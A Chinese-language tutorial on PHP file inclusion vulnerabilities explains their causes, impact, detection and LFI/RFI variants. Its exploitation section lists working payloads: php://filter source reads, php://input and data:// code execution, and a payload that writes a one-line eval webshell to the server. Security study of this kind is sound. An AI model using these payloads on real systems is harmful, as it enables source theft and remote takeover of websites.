文件包含漏洞
一、漏洞介绍
把重复使用的代码设成变量用于动态调用,参数用户可控。从而导致用户可以调用恶意文件,造成文件包含漏洞。
二、产生原因
- 参数用户可控
- 使用文件包含函数
include()
include_once()
require()
require_once()
- include与require区别
require的文件出错,主程序也停止
include的文件出错,主程序继续执行
三、漏洞危害
- 敏感信息泄露
- 获取webshell
- 任意命令执行
四、漏洞检测
- 白盒:
代码审计 - 黑盒:
web漏洞扫描
cms公开漏洞
- 手动检测:
?file=
?page=
类似场景
五、漏洞分类
- 本地包含(LFI)
被包含文件在服务器本地。
- 远程包含(RFI)
被包含文件在第三方服务器。
条件:
php配置
allow_url_fopen=on
allow_url_include=on
六、漏洞利用
1. 结合文件上传漏洞
2. 本地包含
读取本地敏感文件。
3. 远程包含
使用第三方服务器,准备webshell。
4. php伪协议
分类
内置协议:http、https、ftp、file
伪协议:php://input、php://filter
利用条件:
php>=5.2
allow_url_fopen=on
allow_url_include=on
- file://
?file=file://本地文件绝对路径 - php://filter
?file=php://filter/read=convert.base64-encode/resource=./index.php
- php://input
?file=php://input <?php phpinfo(); ?> - data://
?file=data://text/plain,<?php phpinfo(); ?>
?file=data://text/plain;base64,base64码
- 读取文件源码用法
?file=php://filter/read=convert.base64-encode/resource=文件
敏感文件如 phpinfo.php 等 - 执行php代码用法
?file=php://input 内容
<?php phpinfo(); ?>
- 写入一句话木马用法
?file=php://input <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);?>');?> - 总结:
在这可以理解成远程文件包含漏洞,即POST过去PHP代码,即可执行。如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。
七、防御与修复
包含参数尽量写死,不要动态调用。

浙公网安备 33010602011771号